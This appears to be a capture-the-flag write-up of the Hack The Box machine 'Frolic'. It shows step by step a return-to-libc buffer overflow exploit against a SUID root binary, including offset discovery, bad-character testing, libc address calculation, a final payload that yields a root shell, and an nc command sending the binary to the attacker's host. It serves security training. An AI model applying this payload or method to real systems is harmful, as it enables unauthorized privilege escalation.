Buffer Overflow


A buffer overflow vulnerability has been identified to be present in the SUID binary; /home/ayush/.binary/rop Due to the ownership set to the root user, I will be able to escalate the privileges by exploiting the vulnerability

www-data@frolic:/home/ayush/.binary$ nc 10.10.16.8 2222 < ./rop
┌──(kali㉿kali)-[~/…/htb/labs/frolic/bof]
└─$ nnc 2222 > rop                   
listening on [any] 2222 ...
connect to [10.10.16.8] from (UNKNOWN) [10.10.10.111] 54870

I will first transfer the binary to Kali for further analysis

Enumeration


ASLR


www-data@frolic:/home/ayush/.binary$ cat /proc/sys/kernel/randomize_va_space
0

no aslr

Security


┌──(kali㉿kali)-[~/…/htb/labs/frolic/bof]
└─$ gdb-peda -q ./rop        
Reading symbols from ./rop...
(No debugging symbols found in ./rop)
gdb-peda$ 

RELRO is partially present and NX is enabled

Control of EIP


┌──(kali㉿kali)-[~/…/htb/labs/frolic/bof]
└─$ patterncreate -l 100       
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A

I will create a pattern of 100 characters to locate the buffer overflow

gdb-peda$ r Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A
starting program: /home/kali/archive/htb/labs/frolic/bof/rop Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
 
Program received signal SIGSEGV, Segmentation fault.

Crashed as expected

Checking the register reveals that the EIP is pointing to the memory location of 0x62413762

┌──(kali㉿kali)-[~/…/htb/labs/frolic/bof]
└─$ patternoffset -q 0x62413762
[*] Exact match at offset 52

I got a match at 52

┌──(kali㉿kali)-[~/…/htb/labs/frolic/bof]
└─$ patterncreate -l 52        
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6A

Creating a string of 52 characters accordingly I will append 4 of B’s at the end of it

gdb-peda$ r Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6ABBBB
starting program: /home/kali/archive/htb/labs/frolic/bof/rop Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6ABBBB
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
 
Program received signal SIGSEGV, Segmentation fault.

Executing with the additional 4 bytes of character B

Register shows that the EIP is now pointing to BBBB or 0x42424242 I now have the control of EIP

Payload Space


Now that I have the control of EIP, I can check how much of space that I can have for a potential shell code

gdb-peda$ r $(python2 -c 'print("C"*500)')
Starting program: /home/kali/archive/htb/labs/frolic/bof/rop $(python2 -c 'print("C"*500)')
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
 
Program received signal SIGSEGV, Segmentation fault.

Executing

Register shows that the C was repeated 200 times

Bad Characters


┌──(kali㉿kali)-[~/…/htb/labs/frolic/bof]
└─$ badchars
\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff

Generating the entire hexadecimal table

gdb-peda$ r $(python2 -c 'print("A"*52 + "BBBB" + "\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff")')
starting program: /home/kali/archive/htb/labs/frolic/bof/rop $(python2 -c 'print("A"*52 + "BBBB" + "\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff")')
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
 
Program received signal SIGSEGV, Segmentation fault.

Executing the breakdown is:

  • 52 of A’s for buffer
  • 4 of B’s for the EIP control
  • The remaining is the entire hexadecimal table

The register reveals that the EIP points to a memory location at 0xffffcc90 0x4030201 is the value stored at the memory location at 0xffffcc90 0x4030201 is a little-endian representation of the bytes "\x01\x02\x03\x04" in hexadecimal

Heading over to the memory location that the ESP points to; ffffba70 I expected those 256 hex characters to be here, but they are NOT

gdb-peda$ x/10000xb $esp
 
[...REDACTED...]
 
0xffffcfa0:	0x00	0x41	0x41	0x41	0x41	0x41	0x41	0x41
0xffffcfa8:	0x41	0x41	0x41	0x41	0x41	0x41	0x41	0x41
0xffffcfb0:	0x41	0x41	0x41	0x41	0x41	0x41	0x41	0x41
0xffffcfb8:	0x41	0x41	0x41	0x41	0x41	0x41	0x41	0x41
0xffffcfc0:	0x41	0x41	0x41	0x41	0x41	0x41	0x41	0x41
0xffffcfc8:	0x41	0x41	0x41	0x41	0x41	0x41	0x41	0x41
0xffffcfd0:	0x41	0x41	0x41	0x41	0x41	0x42	0x42	0x42
0xffffcfd8:	0x42	0x01	0x02	0x03	0x04	0x05	0x06	0x07
0xffffcfe0:	0x08	0x00	0x0b	0x0c	0x0d	0x0e	0x0f	0x10
0xffffcfe8:	0x11	0x12	0x13	0x14	0x15	0x16	0x17	0x18
0xffffcff0:	0x19	0x1a	0x1b	0x1c	0x1d	0x1e	0x1f	0x00
0xffffcff8:	0x21	0x22	0x23	0x24	0x25	0x26	0x27	0x28
0xffffd000:	0x29	0x2a	0x2b	0x2c	0x2d	0x2e	0x2f	0x30
0xffffd008:	0x31	0x32	0x33	0x34	0x35	0x36	0x37	0x38
0xffffd010:	0x39	0x3a	0x3b	0x3c	0x3d	0x3e	0x3f	0x40
0xffffd018:	0x41	0x42	0x43	0x44	0x45	0x46	0x47	0x48
0xffffd020:	0x49	0x4a	0x4b	0x4c	0x4d	0x4e	0x4f	0x50
0xffffd028:	0x51	0x52	0x53	0x54	0x55	0x56	0x57	0x58
0xffffd030:	0x59	0x5a	0x5b	0x5c	0x5d	0x5e	0x5f	0x60
0xffffd038:	0x61	0x62	0x63	0x64	0x65	0x66	0x67	0x68
0xffffd040:	0x69	0x6a	0x6b	0x6c	0x6d	0x6e	0x6f	0x70
0xffffd048:	0x71	0x72	0x73	0x74	0x75	0x76	0x77	0x78
0xffffd050:	0x79	0x7a	0x7b	0x7c	0x7d	0x7e	0x7f	0x80
0xffffd058:	0x81	0x82	0x83	0x84	0x85	0x86	0x87	0x88
0xffffd060:	0x89	0x8a	0x8b	0x8c	0x8d	0x8e	0x8f	0x90
0xffffd068:	0x91	0x92	0x93	0x94	0x95	0x96	0x97	0x98
0xffffd070:	0x99	0x9a	0x9b	0x9c	0x9d	0x9e	0x9f	0xa0
0xffffd078:	0xa1	0xa2	0xa3	0xa4	0xa5	0xa6	0xa7	0xa8
0xffffd080:	0xa9	0xaa	0xab	0xac	0xad	0xae	0xaf	0xb0
0xffffd088:	0xb1	0xb2	0xb3	0xb4	0xb5	0xb6	0xb7	0xb8
0xffffd090:	0xb9	0xba	0xbb	0xbc	0xbd	0xbe	0xbf	0xc0
0xffffd098:	0xc1	0xc2	0xc3	0xc4	0xc5	0xc6	0xc7	0xc8
0xffffd0a0:	0xc9	0xca	0xcb	0xcc	0xcd	0xce	0xcf	0xd0
0xffffd0a8:	0xd1	0xd2	0xd3	0xd4	0xd5	0xd6	0xd7	0xd8
0xffffd0b0:	0xd9	0xda	0xdb	0xdc	0xdd	0xde	0xdf	0xe0
0xffffd0b8:	0xe1	0xe2	0xe3	0xe4	0xe5	0xe6	0xe7	0xe8
0xffffd0c0:	0xe9	0xea	0xeb	0xec	0xed	0xee	0xef	0xf0
0xffffd0c8:	0xf1	0xf2	0xf3	0xf4	0xf5	0xf6	0xf7	0xf8
0xffffd0d0:	0xf9	0xfa	0xfb	0xfc	0xfd	0xfe	0xff	0x00
0xffffd0d8:	0x4c	0x45	0x53	0x53	0x5f	0x54	0x45	0x52
0xffffd0e0:	0x4d	0x43	0x41	0x50	0x5f	0x73	0x65	0x3d
 

Digging more into the 10000 bytes, 0xffffcfd9 is the actual memory address that the hexadecimal table begins Except for the null byte character(0x00), 3 characters are missing; 0x09, 0x0a, and 0x20

Return to libc Attack


The Return to libc attack is a method of exploiting a buffer overflow vulnerability in which the attacker does not inject their own code, but instead redirects the execution flow to existing code located in the program’s memory. This is done by overwriting the return address in the call stack with the address of a function in the C library, such as system(), exit(), or /bin/sh.

The system() function is used to execute shell commands while the exit() function is used to terminate the process. By redirecting the execution flow to system() and passing the address of /bin/sh as an argument, the attacker can execute arbitrary shell commands with the privileges of the compromised program.

One of the key benefits of this technique is that it can be used to bypass security measures that are designed to prevent the execution of injected code, such as data execution prevention (DEP) and address space layout randomization (ASLR)

libc


www-data@frolic:/home/ayush$ for i in {1..20}; do ldd /home/ayush/.binary/rop | grep libc; done
grep libc; done}; do ldd /home/ayush/.binary/rop |  
	libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7e19000)
	libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7e19000)
	libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7e19000)
	libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7e19000)
	libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7e19000)
	libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7e19000)
	libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7e19000)
	libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7e19000)
	libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7e19000)
	libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7e19000)
	libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7e19000)
	libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7e19000)
	libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7e19000)
	libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7e19000)
	libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7e19000)
	libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7e19000)
	libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7e19000)
	libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7e19000)
	libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7e19000)
	libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7e19000)

Since ASLR is disabled, it is unnecessary to execute the binary multiple times, but it is a good practice The base offset is 0xb7e19000 Additionally, the binary is calling the library located at /lib/i386-linux-gnu/libc.so.6

System


www-data@frolic:/home/ayush$ readelf -s /lib/i386-linux-gnu/libc.so.6 | grep -i 'system@@'
   627: 0003ada0    55 FUNC    GLOBAL DEFAULT   13 __libc_system@@GLIBC_PRIVATE
  1457: 0003ada0    55 FUNC    WEAK   DEFAULT   13 system@@GLIBC_2.0

The system offset is 0003ada0

Exit


www-data@frolic:/home/ayush$ readelf -s /lib/i386-linux-gnu/libc.so.6 | grep -i 'exit@@'
   112: 0002edc0    39 FUNC    GLOBAL DEFAULT   13 __cxa_at_quick_exit@@GLIBC_2.10
   141: 0002e9d0    31 FUNC    GLOBAL DEFAULT   13 exit@@GLIBC_2.0
   558: 000b07c8    24 FUNC    GLOBAL DEFAULT   13 _exit@@GLIBC_2.0
   616: 00115fa0    56 FUNC    GLOBAL DEFAULT   13 svc_exit@@GLIBC_2.0
   652: 0002eda0    31 FUNC    GLOBAL DEFAULT   13 quick_exit@@GLIBC_2.10
   876: 0002ebf0    85 FUNC    GLOBAL DEFAULT   13 __cxa_atexit@@GLIBC_2.1.3
  1506: 000f3870    58 FUNC    GLOBAL DEFAULT   13 pthread_exit@@GLIBC_2.0
  1849: 000b07c8    24 FUNC    WEAK   DEFAULT   13 _Exit@@GLIBC_2.1.1
  2263: 0002e9f0    78 FUNC    WEAK   DEFAULT   13 on_exit@@GLIBC_2.0
  2406: 000f4c80     2 FUNC    GLOBAL DEFAULT   13 __cyg_profile_func_exit@@GLIBC_2.2

The exit address is 0002e9d0

/bin/sh


Since I want to execute OS commands via the system call, I would need to know the offset of the /bin/sh binary

www-data@frolic:/home/ayush$ strings -atx /lib/i386-linux-gnu/libc.so.6 | grep -i /bin/sh
 15ba0b /bin/sh

The offset of the /bin/sh binary is 15ba0b

Address Calculation


The formula is

  • system address = base address + system offset
  • exit address =base address + exit offset
  • /bin/sh address =base address + /bin/sh offset

It can be done inside gdb

gdb-peda$ p 0xb7e19000 + 0x0003ada0
$1 = 0xb7e53da0    #system address
gdb-peda$ p 0xb7e19000 + 0x0002e9d0
$2 = 0xb7e479d0    #exit address
gdb-peda$ p 0xb7e19000 + 0x15ba0b
$3 = 0xb7f74a0b    #/bin/sh address

Payload


Payload structure is Buffer + system address + exit address + /bin/sh address in the little Endian format

$(python -c 'print("A"*52 + "\xa0\x3d\xe5\xb7" + "\xd0\x79\xe4\xb7" + "\x0b\x4a\xf7\xb7")')

So this would be the final payload

Exploitation


www-data@frolic:/home/ayush/.binary$ ./rop $(python -c 'print("A"*52 + "\xa0\x3d\xe5\xb7" + "\xd0\x79\xe4\xb7" + "\x0b\x4a\xf7\xb7")')
# whoami
whoami
root
# hostname
hostname
frolic
# ifconfig
ifconfig
ens33     link encap:Ethernet  HWaddr 00:50:56:b9:eb:ab  
          inet addr:10.10.10.111  Bcast:10.10.10.255  Mask:255.255.255.0
          inet6 addr: fe80::250:56ff:feb9:ebab/64 Scope:Link
          inet6 addr: dead:beef::250:56ff:feb9:ebab/64 Scope:Global
          up broadcast running multicast  mtu:1500  Metric:1
          rx packets:1238311 errors:354 dropped:1118 overruns:0 frame:0
          tx packets:1225563 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000 
          rx bytes:198501648 (198.5 MB)  TX bytes:414398938 (414.3 MB)
          interrupt:19 Base address:0x2000 
 
lo        link encap:Local Loopback  
          inet addr:127.0.0.1  Mask:255.0.0.0
          inet6 addr: ::1/128 Scope:Host
          up loopback running  mtu:65536  Metric:1
          rx packets:131622 errors:0 dropped:0 overruns:0 frame:0
          tx packets:131622 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1 
          rx bytes:9739762 (9.7 MB)  TX bytes:9739762 (9.7 MB)

System Level Compromise